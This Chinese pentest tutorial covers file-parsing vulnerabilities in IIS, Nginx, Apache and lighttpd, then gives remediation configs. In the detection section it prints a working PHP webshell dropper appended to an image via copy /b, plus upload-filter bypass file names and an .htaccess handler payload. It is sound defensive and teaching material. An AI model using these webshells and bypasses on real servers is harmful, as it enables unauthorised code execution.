web安全/渗透测试--60--web服务器解析漏洞

1、漏洞描述：

服务器相关中间件存在一些解析漏洞，攻击者可通过上传一定格式的文件，被服务器的中间件进行了解析，这样就对系统造成一定危害。常见的服务器解析漏洞涉及的中间件有IIS，apache、nginx等。

2、检测条件：

Php+mysql的搭配，则需要进行检测。

3、检测方法

以下为常见的各大web服务器所出现过的解析漏洞汇总，在检测时刻参考：

1、IIS 6.0

目录解析：/xx.asp/xx.jpg则如下：xx.jpg可替换为任意文本文件(xx.txt)，文本内容为后门代码IIS6.0会将xx.jpg解析为asp文件。

后缀解析：/xx.asp;.jpg则如下：/xx.asp:.jpg(此处需抓包修改文件名)IIS6.0都会把此类后缀文件成功解析为asp文件。

默认解析：/xx.asa和/xx.cer和/xx.cdx IIS6.0默认的可执行文件除了asp还包含这三种此处可联系利用目录解析漏洞/xx.asa/xx.jpg或/xx.cer/xx.jpg或xx.asa;.jpg

2、IIS 7.0/IIS 7.5/Nginx<8.03

IIS 7.0/IIS 7.5/Nginx<8.03在默认Fast-CGI开启状况下，在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php解析为php文件。常用利用方法：将一张图和一个写入后门代码的文本文件合并将恶意文本写入图片的二进制代码之后，避免破坏图片文件头和尾:

copy xx.jpg/b + yy.txt/a xy.jpg ######################################/b即二进制[binary]模式/a即ascii模式xx.jpg正常图片文件yy.txt内容<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>意思为写入一个内容为<?php eval($_POST[cmd])?>名称为shell.php的文件######################################找个地方上传xy.jpg，然后找到xy.jpg的地址，在地址后加上/xx.php即可执行恶意文本。然后就在图片目录下生成一句话木马shell.php密码cmd

3、Nginx<8.03

在Fast-CGI关闭的情况下，Nginx<8.03依然存在解析漏洞在一个文件路径(/xx.jpg)后面加上%00.php会将/xx.jpg%00.php解析为php文件

4、Apache

后缀解析：test.php.x1.x2.x3 Apache将从右至左开始判断后缀，若x3非可识别后缀，再判断x2，直到找到可识别后缀为止，然后将该可识别后缀进解析test.php.x1.x2.x3则会被解析为php经验之谈：php|php3|phtml多可被Apache解析

5、其他一些可利用的：

在windows环境下，xx.jpg[空格]或xx.jpg.这两类文件都是不允许存在的，若这样命名，windows会默认除去空格或点，这也是可以被利用的！在向一台windows主机上传数据时，你可以抓包修改文件名，在后面加个空格或点，试图绕过黑名单，若上传成功，最后的点或空格都会被消除，这样就可得到shell。我记得FckPhp2.6就存在加空格绕过的漏洞。{Linux主机中不行，Linux允许这类文件存在}如果在Apache中.htaccess可被执行(默认不执行，这是90sec里的一位朋友说的，当初我并不知道)，且可以被上传，那可以尝试在.htaccess中写入:<FilesMatch“shell.jpg”>SetHandler application/x-httpd-php </FilesMatch> shell.jpg换成你上传的文件，这样shell.jpg就可解析为php文件

6、lighttpd

xx.jpg/xx.php

4、修复方案

1.针对IIS解析漏洞：

程序方面：

1、对新建目录文件名进行过滤，不允许新建包含.的文件夹。

2、取消网站后台新建目录的功能，不允许新建目录。

3、及时打取中间件补丁。

服务器方面：

1、限制上传目录的脚本执行权限，不允许执行脚本。

2、过滤.asp/xm.jpg,通过ISApi组件过滤。在httpd.ini加入了以下规则ASP

RewriteRule(.*).asp/(.*)/no.gif RewriteRule(.*).Asp/(.*)/no.gif RewriteRule(.*).aSp/(.*)/no.gif RewriteRule(.*).asP/(.*)/no.gif

2、针对Nginx解析漏洞：

1、修改php.ini，设置cgi.fix_pathinfo=0;然后重启php-cgi。此修改会影响到使用PATH_INFO伪静态的应用，例如我以前博文的URL：http://blog.zyan.cc/read.php/348.htm就不能访问了；

2、在nginx的配置文件添加如下内容后重启：if ( $fastcgi_script_name ~ \..*\/.*php ) {return 403;}。该匹配会影响类似http://www.domain.com/software/5.0/test.php(5.0为目录)，http://www.domain.com/goto.php/phpwind的URL访问。

3、对于存储图片的location{…}，或虚拟主机server{…}，只允许纯静态访问，不配置PHP访问。例如在金山逍遥网论坛、SNS上传的图片、附件，会传送到专门的图片、附件存储服务器集群上(pic.xoyo.com)，这组服务器提供纯静态服务，无任何动态PHP配置。各大网站几乎全部进行了图片服务器分离，因此Nginx的此次漏洞对大型网站影响不大。

4、修改nginx.conf配置文件的临时解决方法，兼容“http://blog.zyan.cc/demo/0day/phpinfo.php/test”的PATH_INFO伪静态，拒绝“http://blog.zyan.cc/demo/0day/phpinfo.jpg/test.php”的漏洞攻击，代码如下：

location ~* .*\.php($|/)
{
	if ($request_filename ~* (.*)\.php) 
	{
        set $php_url $1;
    }

	if (!-e $php_url.php) 
	{
		return 403;
    }
    fastcgi_pass  127.0.0.1:9000;
    fastcgi_index index.php;
    include fcgi.conf;
}

3、针对Apache解析漏洞：

用伪静态能解决这个问题，重写类似。php.*这类文件：
打开apache的httpd.conf
找到LoadModule rewrite_module modules/mod_rewrite.so
把#号去掉，重启apache，在网站根目录下建立。htaccess文件，代码如下：

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>

根据自己要求修改自己定义的执行php的后缀，用|隔开就行。/index.php可以换成你想要显示的文件。

4、其他解决方案：

使用McAfee VirusScan软件的访问保护中的自定义规则，新建文件/文件夹阻挡规则，配置：规则名称随便填写，要包含的进程填*，要阻止的文件夹或文件名中写***.asp*.*，以上方法很简单，是对整个服务器进行设置的。